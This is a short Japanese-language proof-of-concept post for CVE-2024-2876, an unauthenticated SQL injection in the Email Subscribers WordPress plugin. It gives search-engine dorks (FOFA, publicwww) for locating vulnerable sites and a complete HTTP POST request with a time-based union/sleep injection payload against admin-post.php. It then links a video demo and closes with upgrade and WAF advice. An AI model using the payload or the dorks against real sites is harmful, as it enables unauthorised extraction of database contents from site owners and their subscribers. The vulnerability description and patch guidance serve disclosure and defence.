
CVE-2024-2876 の概念実証エクスプロイト。WordPress 用 Email Subscribers プラグインにおける認証なし SQL インジェクションの脆弱性を利用し、機密データの抽出を可能にします。
#脆弱性の説明:
Icegram ExpressのEmail Subscribers – Email Marketing, Newsletters, Automation for WordPress & WooCommerceプラグインは、WordPress用のプラグインで、すべてのバージョン(5.7.14までを含む)において、ユーザー提供パラメータのエスケープ不足と既存のSQLクエリの準備不足により、IG_ES_Subscribers_Queryクラスのrun関数を介してSQLインジェクションに対して脆弱です。これにより、認証されていない攻撃者が既存のクエリに追加のSQLクエリを追加し、データベースから機密情報を抽出することが可能になります。
#ダーク: 1- FOFA : body="/wp-content/plugins/email-subscribers/" 2- publicwww : "/wp-content/plugins/email-subscribers/"
#PoC: POST /wp-admin/admin-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
#YouTube PoC: https://www.youtube.com/watch?v=eDEGt_yXyvE
#修正方法は? すべてのバージョン(5.7.14まで)でCVEが確認されているため、ユーザーはEmail Subscribers by Icegram Expressプラグインをバージョン5.7.15(または最新リリースの5.7.19)にアップグレードすることを推奨します。 Patchstackユーザーは、脆弱なプラグインに対して自動更新を有効にするオプションを利用できます。 追加の保護層としてWAF/WAAPソリューションを導入してください。このようなソリューションの利点は、脆弱性が新しく未知(0-day)であっても、攻撃パターンや手法を検出することで攻撃を防ぐ可能性があることです。